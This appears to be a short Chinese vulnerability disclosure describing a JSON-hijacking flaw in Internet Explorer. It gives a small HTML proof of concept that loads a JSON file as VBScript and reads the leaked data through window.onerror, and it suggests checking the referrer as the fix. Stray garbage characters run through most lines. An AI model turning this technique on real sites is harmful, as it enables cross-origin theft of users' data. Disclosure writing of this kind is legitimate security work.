简要描述:: t- ^$ B+ L1 ]
+ t+ u9 ]! }7 H j: C* y
由于某些资源容器对数据处理不当导致json劫持漏洞.
& I( a5 k& M% S& R# h/ D) {详细说明:
8 Y( H5 n3 H n& N' l+ ^1 N" v6 A由于ie支持vbscript,所以script元素可以指定成vbscript语言:8 q8 k7 R5 a6 n% k) f! p+ T
<script language=vbscript></script>- l4 ^3 V) F5 ^2 j
: m. G) _/ S9 D# F9 U
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
- P; J+ R @/ n漏洞证明:
* l0 o/ G0 ]' X4 {<script>
$ r# Z/ U7 Z m, iwindow.onerror=function(_){
l- s. `5 Z1 }8 z3 K+ S0 \alert(_)) m6 S% s" o5 U: E, x
} }. A4 F& S" Z
</script>
* R% D v% {7 h; e" V' D<script language=vbscript src=1.json></script>+ }0 ]# g2 g* g& \" m
$ M) z$ R; k- H3 w: {! r6 A4 ^ $ y% u- v4 F: h. A9 a
1.json:
: k- E% D/ f* j[{"name":"sogili","age":19}]/ W+ a; M* d$ Q1 D8 h$ I5 I
修复方案:
( ?/ k# H3 E0 t- A/ |' d网站业务对于这个问题可以通过验证referrer是否为同源来防御 |